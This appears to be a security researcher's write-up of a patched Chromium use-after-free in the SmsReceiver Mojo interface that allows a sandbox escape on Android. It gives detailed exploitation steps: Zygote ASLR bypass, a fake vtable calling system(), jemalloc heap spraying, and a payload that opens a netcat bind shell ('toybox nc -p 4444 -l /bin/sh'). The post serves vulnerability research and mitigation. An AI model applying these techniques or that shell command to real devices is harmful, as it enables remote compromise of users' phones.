Introduction
Back in 2020 while reviewing Chromium code, I found issue 1068395, a Use-After-Free in Browser Process that can be used to escape the Chromium sandbox on Android Devices. This is an interesting vulnerability as it’s a bug pattern that keeps happening in the Chromium codebase.
Having a good understanding of this pattern and how an attacker can exploit it is a good exercise to gain knowledge as well as inspiration in what to look for when reviewing code and writing new fuzzers. More importantly this can help us learn how we can mitigate such bug patterns.
Today, we will explore how issue 1068395 can be exploited assuming a compromised Renderer Process (using a vulnerability like 1126249).
What Is a RenderFrameHost?
Whenever a website is navigated to, the Browser Process will spawn a new Renderer Process. This process will parse the website’s content, such as JavaScript, HTML, and CSS and display it on its main frame. To track the main frame and communicate with it, the Browser Process will instantiate a RenderFrameHostImpl
(RFH) object to represent the Renderer’s main frame.
Complicating things further, a website may have multiple “child-frames” (a.k.a iframes) that will embed another page context inside the main frame which can be created and destroyed at any moment by JavaScript. If the embedded origin is the same as the main frame, the Renderer Process will create a “frame” object and track it using a frame-tree data structure. The Browser Process will mirror this behavior and create a new RFH object for each new child frame. However, if the contexts have a different origin, the Browser Process will spawn a new Renderer Process due to site isolation.
For us, the behavior described previously may be read as: We control the RFH’s object creation and destruction (or its lifetime) from JavaScript! Can we leverage such behavior to find security vulnerabilities?
RenderFrameHost and Mojo interfaces
Nowadays, modern web-browsers are implemented with a multi-process architecture in mind. In this model, we have untrusted content parsed in a very restrictive/locked-down process (a.k.a a “sandboxed process”). To provide resource access to such a locked-down process, we have a “broker process”. In our case, this is the “browser process”. The browser process can provide access to these restricted resources via a mechanism called Inter-Process-Communication (IPC).
Chromium has two IPC mechanisms, the old-IPC/Legacy IPC and Mojo IPC. Nowadays, most features that want to expose resources to the Renderer Process (untrusted/sandboxed process) do it by using a Mojo interface. These interfaces are described using a mojom file, for example (from mojo_and_services.md):
1
2
3
4
interface PingResponder {
// Receives a "Ping" and responds with a random integer.
Ping() => (int32 random);
};
A Mojo interface is usually bound per-frame, therefore, every time an iframe is created and you request to bind to new a Mojo interface, it may end up allocating a new Mojo interface object in Browser Process (or bind into an existing one). If you are curious about what interfaces are exposed to an iframe, you can check the browser_interface_binders.cc. There is a “trick” here, as explained by BrowserInterfaceBroker
, different “execution types” (a.k.a iframe/document, service workers and so on), may have a different binder function (thus, different set of interfaces exposed), it can be observed in PopulateServiceWorkerBinders
and PopulateFrameBinders
. (sidenote: Monitoring the commit changes in browser_interface_binders.cc is a nice method to find new Mojo Interfaces!).
Many objects accessible over Mojo don’t need access to the web page itself and are there to just facilitate access to privileged operations not allowed in the sandbox. However, there are situations that a Mojo interface object may require to access to the RFH object that has instantiated it, like accessing its RFH’s WebContentsImpl
object, accessing its RenderFrameProcess
object and so on.
One way to accomplish this is by providing a raw pointer to the RFH that has instantiated the interface in the Mojo interface object constructor. The constructor can then store this pointer as a class member. You can observe such behavior in the SensorProviderProxyImpl
:
1
2
3
4
5
6
7
8
9
SensorProviderProxyImpl::SensorProviderProxyImpl(
PermissionControllerImpl* permission_controller,
RenderFrameHost* render_frame_host)
: permission_controller_(permission_controller),
render_frame_host_(render_frame_host) { // [1]
DCHECK(permission_controller);
DCHECK(render_frame_host);
}
As you can see at [1], SensorProviderProxyImpl
will store the raw pointer for the RFH that has instantiated it as a member. Now, there is a question, can we guarantee that the Mojo interface will not outlive (stay alive longer than) RFH object? The answer can be found by checking how the Mojo interface object gets created. Let’s look at the code below.
1
2
3
4
5
6
7
8
9
10
void RenderFrameHostImpl::GetSensorProvider(
mojo::PendingReceiver<device::mojom::SensorProvider> receiver) {
if (!sensor_provider_proxy_) {
sensor_provider_proxy_ = std::make_unique<SensorProviderProxyImpl>( // [2]
PermissionControllerImpl::FromBrowserContext(
GetProcess()->GetBrowserContext()),
this);
}
sensor_provider_proxy_->Bind(std::move(receiver));
}
The SensorProvider
Mojo interface object is a member variable in the RenderFrameHostImpl
class [2]. If the sensor_provider_proxy_
has not been initialized yet, it’ll instantiate a std::unique_ptr
for it. So, we can guarantee that SensorProviderProxyImpl
object will be destroyed once the RFH object gets destroyed as their lifetimes are tied to each other!
However, Chromium is a complex code-base and things aren’t always that easy; there are other ways in which Mojo interface objects may be created. For example, one may be instantiated by using Mojo::MakeSelfOwnedReceiver
. The documentation states: “A self-owned receiver exists as a standalone object which owns its interface implementation and automatically cleans itself up when its bound interface endpoint detects an error.”
In other words, the lifetime for the Mojo interface object is tied with its mojo connection: so, if the mojo connection stays alive, the Mojo interface object will stay alive as well (more details in here). This means both sides of the mojo connection (Browser and Renderer Process) control the object lifetime; this is explained well in “Virtually Unlimited Memory: Escaping the Chrome Sandbox” by Mark Brand).
That also means that we can have a situation where UI thread will destroy the RFH object, and the Mojo connection is still alive (as it is self-owned) and processing mojo messages until the bind detects an error or that it was closed. Thus, if during this time-window the Mojo interface object processes a message that will access the freed RFH object, we will have a Use-After-Free (UAF) issue.
This is an example of the problem that most of the vulnerabilities linked to in the introduction end up exploiting. It has been exploited by many researchers, explained in other blogposts, like “Escaping the Chrome Sandbox” and in CTFs like PlaidCTF.
Chromium does have some features to mitigate such problems, and we will go through some examples:
WebContentsObserver
: If your Mojo interface implementation inherits from this class, you will be provided with a set of callback events (virtual methods) that may be overridden by your implementation. Among these callbacks, we haveRenderFrameDeleted
, which gets triggered every time an RFH object gets deleted.We can observe its use in
InstalledAppProviderImpl
. This class was used to fix the vulnerability described in “Escaping the Chrome Sandbox”.1 2 3 4 5 6
void InstalledAppProviderImpl::RenderFrameDeleted( RenderFrameHost* render_frame_host) { if (render_frame_host_ == render_frame_host) { render_frame_host_ = nullptr; } }
FrameServiceBase
: This class is similar toWebContentsObserver
, however, it implements all callbacks for you and guarantees that the implementation object gets freed as soon as the RFH object that created it gets deleted.
By using one of the mechanisms mentioned above, you can guarantee that the Mojo Interfaces you own won’t have Use-After-Free issues with RFH objects.
Now that we understand the complexities of Mojo interfaces and RFH, and the problems that can arise from their mismanagement, we can start looking around to see if we can find a vulnerability :).
Enter SmsReceiver!
Like all normal people do at 4AM, I was using Chromium Code Search to read around Chromium’s source code. While looking around the commit changes for browser_interface_binders.cc to check for new Mojo interfaces and other related changes, SmsService
caught my eye. Let’s see how the Mojo interface object is created.
1
2
3
4
5
6
7
8
9
10
11
12
void RenderFrameHostImpl::BindSmsReceiverReceiver(
mojo::PendingReceiver<blink::mojom::SmsReceiver> receiver) {
if (GetParent() && !GetMainFrame()->GetLastCommittedOrigin().IsSameOriginWith(
GetLastCommittedOrigin())) {
mojo::ReportBadMessage("Must have the same origin as the top-level frame.");
return;
}
auto* fetcher = SmsFetcher::Get(GetProcess()->GetBrowserContext(), this); // [3]
SmsService::Create(fetcher, this, std::move(receiver)); // [4]
}
First, it’ll call SmsFetcher::Get
with the BrowserContext
and this
(RFH object reference) as arguments [3]; we will come back for SmsFetcher::Get
later, but for now, all we need to know is that it’ll return a pointer to an SmsFetcher
object. Afterwards, we will end up calling SmsService::Create
with the SmsFetcher
object pointer and this
(RFH object reference) as argument [4].
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// static
void SmsService::Create(
SmsFetcher* fetcher,
RenderFrameHost* host,
mojo::PendingReceiver<blink::mojom::SmsReceiver> receiver) {
DCHECK(host);
// SmsService owns itself. It will self-destruct when a Mojo interface
// error occurs, the render frame host is deleted, or the render frame host
// navigates to a new document.
new SmsService(fetcher, host, std::move(receiver)); // [5]
}
SmsService::SmsService(
SmsFetcher* fetcher,
const url::Origin& origin,
RenderFrameHost* host,
mojo::PendingReceiver<blink::mojom::SmsReceiver> receiver)
: FrameServiceBase(host, std::move(receiver)), // [6]
fetcher_(fetcher),
origin_(origin) {}
As the code-comments explained, the Mojo interface object owns itself [5]. It isn’t using mojo::MakeSelfOwnedReceiver
, but SmsService
inherits from FrameServiceBase
[6], which has a similar effect. In the SmsService
constructor we can see it will initialize the FrameServiceBase
[6] with our RFH object reference so it can track the RFH object state.
As we have already learned, FrameServiceBase
will guarantee that the mojo interface object gets deleted as soon as the RFH object gets deleted, therefore, there is no UAF here. Oh well, no bugs here. Let’s move to another mojo interface implementation… wait… Actually, let’s go all the way back to BindSmsReceiverReceiver
function.
In particular the line below:
1
auto* fetcher = SmsFetcher::Get(GetProcess()->GetBrowserContext(), this); // [7]
As already mentioned, this function will create (or get an already created) SmsFetcher object and return it [7], let’s look further:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
SmsFetcher* SmsFetcher::Get(BrowserContext* context, RenderFrameHost* rfh) {
auto* stored_fetcher = static_cast<SmsFetcherImpl*>(
context->GetUserData(kSmsFetcherImplKeyName)); // [8]
if (!stored_fetcher || !stored_fetcher->CanReceiveSms()) { // [9]
auto fetcher =
std::make_unique<SmsFetcherImpl>(context, SmsProvider::Create(rfh));
context->SetUserData(kSmsFetcherImplKeyName, std::move(fetcher));
}
return static_cast<SmsFetcherImpl*>(
context->GetUserData(kSmsFetcherImplKeyName)); // [10]
}
The first thing the code does is check if BrowserContext
has a SmsFtecherObject
stored within it [8], which implies that SmsFetcher
lifetime is tied with BrowserContext
lifetime! If it both exists and can receive SMS message [9], it will just return a reference to it at [10].
However, if it cannot receive SMS messages or is not created, it will create a new SmsFetcherImpl
object [9]. The SmsFetcherImpl
constructor expects an SmsProvider object that is created by calling its Create method with our RFH object as an argument. Now, let’s look at the SmsProvider::Create
method. (Trivia: Ooops, there was another vulnerability around here: 1070609).
1
2
3
4
5
6
7
8
9
10
11
12
13
// static
std::unique_ptr<SmsProvider> SmsProvider::Create(RenderFrameHost* rfh) {
#if defined(OS_ANDROID)
if (base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
switches::kWebOtpBackend) ==
switches::kWebOtpBackendSmsVerification) {
return std::make_unique<SmsProviderGmsVerification>();
}
return std::make_unique<SmsProviderGmsUserConsent>(rfh); // [11]
#else
return nullptr;
#endif
}
There are two SmsProvider
types:
SmsProviderGmsVerification
: Not interesting for us, as it will not take the RFH as argument anyway.SmsProviderGmsUserConsent
: It’ll receive the RFH raw pointer as an argument for its constructor [11]. Looks promising, let’s keep looking.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SmsProviderGmsUserConsent::SmsProviderGmsUserConsent(RenderFrameHost* rfh)
: SmsProvider(), render_frame_host_(rfh) { // [12]
// This class is constructed a single time whenever the
// first web page uses the SMS Retriever API to wait for
// SMSes.
JNIEnv* env = AttachCurrentThread();
j_sms_receiver_.Reset(Java_SmsUserConsentReceiver_create(
env, reinterpret_cast<intptr_t>(this)));
}
void SmsProviderGmsUserConsent::Retrieve() {
JNIEnv* env = AttachCurrentThread();
WebContents* web_contents =
WebContents::FromRenderFrameHost(render_frame_host_); // [13]
if (!web_contents || !web_contents->GetTopLevelNativeWindow())
return;
Java_SmsUserConsentReceiver_listen(
env, j_sms_receiver_,
web_contents->GetTopLevelNativeWindow()->GetJavaObject());
}
Oh! So, we will store the raw pointer for the RFH object as a member variable inside the SmsProviderGmsUserConsent
[12] class. That looks dangerous. Also we will end up accessing it whenever we call the Retrieve method [13]. Unless there is some mechanism that ensures the RFH has not been deleted (spoilers: there aren’t) it may lead to a UAF. Now, to understand better, let’s create an “ownership/reference map”, after creating SmsFetcherImpl
object, we will end up with something similar to:
As we all love to study chromium code base, one of the things we have learned by watching “Anatomy of the browser 201 (Chrome University 2019)” is that the BrowserContext
is pretty much our current Profile
. This means it’ll stay alive longer than objects like WebContentsImpl
and RenderFrameHostImpl
!
We also have learned that we won’t always create a new SmsFetcherImpl
. Instead, we will create it once and provide a reference to it every time a new SmsService
is created. This smells like a chance for a UAF as we will keep reusing the same RFH object pointer (inside SmsProviderGmsUserConsent
) for all new SmsProvider
Mojo interface instances.
Indeed, we will have a problem here, as the first time we create a SmsProviderGmsUserConsent
, it’ll store a reference to the RFH object that created it. However, we know that SmsFetcherImpl
will keep reusing SmsProviderGmsUserConsent
even after the RFH object is deleted, as there aren’t any mechanisms to ensure that RFH object hasn’t been deleted!
Therefore, if we have a new RFH object that binds to the SmsService
interface, the SmsService
object will store a raw pointer to the SmsFetcherImpl
object containing the SmsProviderGmsUserConsent
which holds a dangling RFH pointer.
To illustrate it, let’s look at the diagram below.
- Create an iframe and bind to
SmsReceiver
- Create another iframe and Bind to
SmsReceiver
Delete the first iframe (aka iframe A), thus, it’s iframe A’s RFH object gets deleted, but we still have a reference to it in
SmsProviderGmsUserConsent
.Call receive in
SmsReceiver
for iframe B
As you can see, at the end, iframe B’s SmsService
may end up dereferencing a freed RFH! Unfortunately, FrameServiceBase
cannot save us from this problem, in the end we will have a Use-After-Free issue.
Now, we have found a cool vulnerability, let’s try to use it to achieve code execution in Browser Process context!
Exploiting the Issue
At this point we know that SmsProviderGmsUserConsent::Retrieve
will end up using our freed RFH for some operations. Let’s take a look at how exactly it is used:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void SmsProviderGmsUserConsent::Retrieve() {
JNIEnv* env = AttachCurrentThread();
WebContents* web_contents =
WebContents::FromRenderFrameHost(render_frame_host_); // [14]
if (!web_contents || !web_contents->GetTopLevelNativeWindow())
return;
Java_SmsUserConsentReceiver_listen(
env, j_sms_receiver_,
web_contents->GetTopLevelNativeWindow()->GetJavaObject());
}
First, it’ll get a reference to the “freed” RFH and use it as an argument for the function WebContents::FromRenderFrameHost
[14]. Then, it’ll return a pointer to the WebContentsImpl
object. Finally, it’ll check if the WebContentsImpl
isn’t nullptr and execute some Java code, otherwise, it’ll just return early.
Now, let’s look at the FromRenderFrameHost
implementation:
1
2
3
4
5
6
7
8
9
10
11
12
WebContents* WebContents::FromRenderFrameHost(RenderFrameHost* rfh) {
if (!rfh)
return nullptr;
if (!rfh->IsCurrent() && base::FeatureList::IsEnabled( // [15]
kCheckWebContentsAccessFromNonCurrentFrame)) {
// TODO(crbug.com/1059903): return nullptr here eventually.
base::debug::DumpWithoutCrashing();
}
return static_cast<RenderFrameHostImpl*>(rfh)->delegate()->GetAsWebContents(); // [16]
There are two function calls here that use the RFH. The first is at [15], and the second at [16] where it will read a member object inside RFH and call its GetAsWebContents
function. These method’s declarations look like the following:
1
2
3
virtual bool IsCurrent() = 0;
virtual WebContents* GetAsWebContents();
As you can see both methods are declared virtual. As we know, the compiler will end up creating a virtual table to handle the dynamic dispatch! So, if we can somehow control the “freed” object, and replace its virtual table with a fake one that we control, we could call an arbitrary function pointer. Once we can call an arbitrary pointer, we can use Returned-Oriented-Programming (ROP) or Jump-Oriented-Programming (JOP) and achieve arbitrary code execution.
Also, if we can make the GetAsWebContents
return nullptr (0x0), we can smoothly continue the browser execution with no crash. Sounds like a nice plan!
However, we have a problem here: Address Space Layout Randomization (ASLR). We may have a UAF and we may somehow be able to replace its object virtual table with controlled contents, but we have no idea where .text, .data or heap allocations are as we have no information disclosure vulnerability.
We did not get so far to give up! Let’s think about it further.
Zygote to Rescue!
I was using a Pixel 3A android device as target for my exploit and while I was researching a solution for the ASLR problem, I found out that Android has its own way to launch applications. It is using a concept called “Zygote” and there are many articles giving in-depth details of how it works and its security implications.
For us, Zygote essentially means that every new spawned process will share the same ASLR base between them, in another words: Processes can end up sharing the same virtual memory mapping between some shared libraries!
That is perfect, as having a remote code execution exploit (taking over Renderer Process by using either a V8 or Blink vulnerability, for example) may help us to easily defeat ASLR as both Renderer Process and Browser process share the same virtual mapping between shared libraries.
Do we really need ROP and/or JOP?
Essentially, once we can replace the “freed” RFH object in memory with attacker-controlled data, we want to make its virtual table to point to a fake virtual table and jump into any arbitrary function or a stack-pivot for ROP. However, ASLR is still a problem for the heap segments as we have no information about its heap layout.
We can bypass the heap problem by calling another object virtual table that will end up writing the RFH this
pointer onto itself (and being able to read the object memory back into Renderer Process). That should work; however, there is something even better! Guang Gong has presented a nice technique in “An exploit Chain to Remotely Root Modern Android Devices”. The article explains that the libllvm-glnext.so
(that is present in Pixel 3a) has a function pointer to system
in its .GOT segment
. We can easily replace the RFH virtual table to point into libllvm-glnext.so .GOT
and make a call to system
!
The beauty here is that the system’s function argument is a pointer to the RFH object (aka this) that we fully control! Now we can call system with arbitrary command in context of Browser Process! Feels back into 90s, right?
Keeping the Browser alive (CRASH != FUN)
Let’s look again at the WebContents::FromenderFrameHost
function but from another perspective, the ARM-assembly perspective:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0x0000000000000000: 10 B5 push {r4, lr}
0x0000000000000002: 98 B1 cbz r0, #0x2c
0x0000000000000004: 04 46 mov r4, r0
// R0 = RFH->vtable
0x0000000000000006: 00 68 ldr r0, [r0]
// R1 = RFH->vtable[0xBC/0x4] -- system pointer
0x0000000000000008: D0 F8 BC 10 ldr.w r1, [r0, #0xbc]
0x000000000000000c: 20 46 mov r0, r4
// system(R0)
0x000000000000000e: 88 47 blx r1 // [17]
0x0000000000000010: 30 B9 cbnz r0, #0x20
0x0000000000000012: 07 48 ldr r0, [pc, #0x1c]
0x0000000000000014: 78 44 add r0, pc
0x0000000000000016: A9 F1 42 EA blx #0x1a949c
0x000000000000001a: 08 B1 cbz r0, #0x20
0x000000000000001c: A9 F1 06 EE blx #0x1a9c2c
// R0 = RFH->member_7c
0x0000000000000020: E0 6F ldr r0, [r4, #0x7c]
// R1 = RFH->member_7c->vtable
0x0000000000000022: 01 68 ldr r1, [r0]
// R1 = RFH->member_7c->vtable[0x64/0x4]
0x0000000000000024: 49 6E ldr r1, [r1, #0x64]
0x0000000000000026: BD E8 10 40 pop.w {r4, lr} // [18]
// return R1(), where R1 is a function that will set R0 (return value) to 0
// it'll make WebContents == nullptr and not crashing the browser :)
0x000000000000002a: 08 47 bx r1
0x000000000000002c: 00 20 movs r0, #0
0x000000000000002e: 10 BD pop {r4, pc}
As you can see, there are two virtual function calls. The first call, RFH->vtable_fptr[0x2F]
[17], we can use to call system with controlled arguments. However, the second virtual call, RFH->member_7C->vtable_fptr[0x19]
[18], is a problem for us. As you already know we have no information disclosure about the heap memory layout, so, we cannot easily fake a member_7C
object.
So, what is the solution here? Maybe we could just let the browser crash anyway, as we will end up executing the system command before the crash happens… But, let’s be honest, crashing the browser isn’t fun, can we do something else? Yes, Zygote@libllvm-glnext
to the rescue again.
Do we have such a magic pointer in libllvm-glnext
? Yes! At offset 0x8E4BE8
(.GOT segment
) we have exactly what we need, we will end up with the following call chain:
Now, we can both call system and resume execution smoothly without crashing the browser :)
Replacing the Object
Alright, at this point we want to replace the object in memory with fully controlled content. What we need here is some heap-spray primitive. We could go and try to find our own, however, let’s not recreate the wheel. We can use the same technique demonstrated by “GPZ Virtually Unlimited Memory”, since it still works and fulfills all our needs.
Now, the next step is to find the size of the RFH object size in memory. This is necessary as we increase the chance to reclaim the memory by spraying payloads of the same size as the RFH object. You can do it by using your favorite disassembler, compiler, debugger, or any other tool. In my case, it was 0x880
bytes.
However, if you heap spray using the technique above, it may work and reclaim the object, but it may also be a bit unstable. Apparently, on Android, at least for the version that I had when I wrote the exploit, the Browser Process will end up using jemalloc as the default heap allocator.
There is enough documentation (that I recommend reading) regarding the allocator internals, thus, I will not go into details here. What is interesting for us is that jemalloc implements thread specific caches. Remember, our target object, the freed RFH, is created and destroyed on UI thread
and the heap-spray technique will happen on IO thread
. Due to this, we may have our allocations happening in different thread-caches/arenas
.
As we want to be able to reclaim a freed region
(a.k.a our RFH object) from another thread, we need to cause either a flush event
or hard event
that will end up freeing some bins/regions inside a tcache
(each bin has its own tcache, that is a list for the recently freed regions).
Once a flush or hard event occurs, the region can now be allocated by other threads. This can be accomplished by first freeing our victim RFH object and then allocating multiple iframes and freeing them. Following this you can spray as normal with your heap-spray primitive. In my tests, this seems to have increased the exploit’s reliability.
Putting It All Together
Now, using all the knowledge we have learned, let’s summarize how our exploit works:
- Create a child iframe that will use
MojoJS
to create and bind to aSmsReceiver
interface (thus, creating aSmsProviderGmsUserConsent
with a pointer to its RFH).MojoJS
can be enabled by a compromised renderer. - Send a postMessage from the child iframe to the main frame to tell it the Mojo interface has been created. The main frame can now delete the child iframe with
document.body.removeChild
. - In the main frame, create another
SmsReceiver
interface. This instantiation will use the already createdSmsFetcherImpl
which has a raw pointer to thefreed
RFH object. - Prepare our heap payload:
- The first 4 bytes (32 bit architecture) is the virtual table pointer, it’ll be a pointer to
libllvm-glnext.so
.got.plt
minus0xBC
(offset for virtual table) so we land in the correct address. - The next bytes will be our shell command, something of the form “|| (command).” This way it’ll first execute the virtual table address as a “command” and then execute our shell command. For the exploit, I used:
' || (toybox nc -p 4444 -l /bin/sh)')
. - At offset
0x7C
of our payload we will have a pointer to the “magic function pointer” inlibllvm-glnext.so
, so we can guarantee theGetAsWebContents
virtual method will return the value0x0
, makingSmsProviderGmsUserConsent::Retrieve
return early, avoiding a browser crash. - Spray these bytes using the same technique learned here, but use the jemalloc trick described earlier to make it more reliable.
- The first 4 bytes (32 bit architecture) is the virtual table pointer, it’ll be a pointer to
- Call
SmsReceiver.receive
method and watch the magic!
You can find the final exploit here.
Conclusion
At this point you can run shell commands in the context of Browser Process. Due to the Android security model, you may have limited resource access as you are still inside Android’s application sandbox. The next step would be to chain a kernel vulnerability, as described here, but this is a story for another day.
I hope you have enjoyed reading and learning a little more about Chromium as much as I have while learning and writing all of it. This issue was a nice exploit exercise and I think it would have been harder to exploit if Zygote didn’t weaken ASLR on Android. Now that we know how the vulnerability works and its pattern, we can write more security documentation, give insight to our developers into how to write Mojo interfaces with no such pattern and proactively find vulnerabilities on our security reviews.
Furthermore, Google has been working hard to mitigate UAF issues through efforts such as PartitionAlloc everywhere, MiraclePtr and *Scan. We are looking forward to making contributions and working with them to make these vulnerabilities harder to exploit.